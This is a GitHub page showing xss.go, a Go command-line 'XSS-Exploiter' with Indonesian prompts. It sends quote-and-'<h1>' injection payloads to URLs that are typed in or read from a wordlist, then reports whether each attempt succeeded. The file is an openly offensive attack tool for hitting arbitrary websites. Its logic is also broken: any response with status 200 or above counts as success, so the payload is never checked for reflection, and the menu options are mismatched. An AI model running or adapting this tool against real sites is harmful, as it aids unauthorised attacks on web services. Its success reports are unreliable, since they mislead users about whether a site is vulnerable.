-
Notifications
You must be signed in to change notification settings - Fork 1
/
xss.go
124 lines (99 loc) · 3.12 KB
/
xss.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
// Copyright© 2019 by Fajar Firdaus
package main
import (
"fmt"
"bufio"
"os"
"net/http"
"github.com/mgutz/ansi"
"time"
)
func wordlist(){
error1 := ansi.Color(" [+] Berhasil", "green+b:white")
error2 := ansi.Color(" [-] Gagal", "red+b:white")
a1 := ansi.Color("[", "green")
a2 := ansi.Color("] ", "green")
var waktu = time.Now()
var exploit string
fmt.Print("Masukan exploit : ")
fmt.Scan(&exploit)
wr, error := os.Open("web.txt")
if error != nil{
fmt.Print("[!] Wordlist Nya kgk ada")
}
sc := bufio.NewScanner(wr)
for sc.Scan(){
var asw = sc.Text()
r, error := http.Get(asw + "'" + "<h1>" + exploit + "</h1>")
if error != nil{
fmt.Print("[!] Error 404")
}
if r.StatusCode >= 200{
fmt.Print(a1, waktu.Year(), "-", waktu.Hour(), "-", waktu.Minute(), "-", waktu.Second(), a2, asw, "'", "<h1>", exploit, "</h1>", error1)
}else if r.StatusCode >= 400 && r.StatusCode >= 404{
fmt.Print(a1, waktu.Year(), "-", waktu.Hour(), "-", waktu.Minute(), "-", waktu.Second(), a2, asw, "'", "<h1>", exploit, "</h1>", error2)
}
}
}
func langsung(){
error3 := ansi.Color(" [+] Berhasil", "green+b:white")
error4 := ansi.Color(" [-] Gagal :( ", "red+b:white")
b1 := ansi.Color("[", "green")
b2 := ansi.Color("] ", "green")
var w = time.Now()
var url string
var ex string
fmt.Print("Masukan URL : ")
fmt.Scan(&url)
fmt.Print("Masukan Exploit : ")
fmt.Scan(&ex)
http, error := http.Get(url + "'" + "<h1>" + ex + "</h1>")
if error != nil{
fmt.Print("[!] Error 404")
}
if http.StatusCode >= 200{
fmt.Print(b1, w.Hour(), "-", w.Minute(), "-", w.Second(), b2, url, "'", "<h1>", ex, "</h1>", error3)
}else if http.StatusCode >= 400 && http.StatusCode >= 404{
fmt.Print(b1, w.Hour(), "-", w.Minute(), "-", w.Second(), b2, url, "'", "<h1>", ex, "</h1>", error4)
}
}
func main(){
var wkt = time.Now();
title := ansi.Color("XSS-Exploiter By Fajar Firdaus", "green+b:white")
b1 := ansi.Color("\n[======================]\n", "blue")
b2 := ansi.Color("Coder : Fajar FIrdaus\n", "green")
b3 := ansi.Color("FB : Fajar Firdaus\n", "green")
b4 := ansi.Color("YT : iTech7732\n", "green")
b5 := ansi.Color("IG : fajar_firdaus_7\n", "green")
b6 := ansi.Color("[======================]\n\n", "blue")
menu1 := ansi.Color("(1).> Exploit Using Wordlist\n", "yellow")
menu2 := ansi.Color("(2).> Exploit Without Wordlist\n", "yellow")
bs1 := ansi.Color("[======================]\n", "blue")
bs2 := ansi.Color("[======================]\n", "blue")
input1 := ansi.Color("[ Input ] > ", "blue+b:white")
blok1 := ansi.Color("[", "green")
blok2 := ansi.Color("] ", "green")
fmt.Print(title)
fmt.Print(b1)
fmt.Print(b2)
fmt.Print(b3)
fmt.Print(b4)
fmt.Print(b5)
fmt.Print(b6)
fmt.Print(bs1)
fmt.Print(menu1)
fmt.Print(menu2)
fmt.Print(bs2)
var cs int = 1
var d2 int = 2
fmt.Print(blok1, wkt.Hour(), wkt.Minute(), wkt.Second(), blok2, input1)
fmt.Scan(&cs)
warn := ansi.Color("[!] Wrong Options !!!!", "red")
if (cs<d2){
langsung()
}else if(cs>d2){
wordlist()
}else{
fmt.Print(warn)
}
}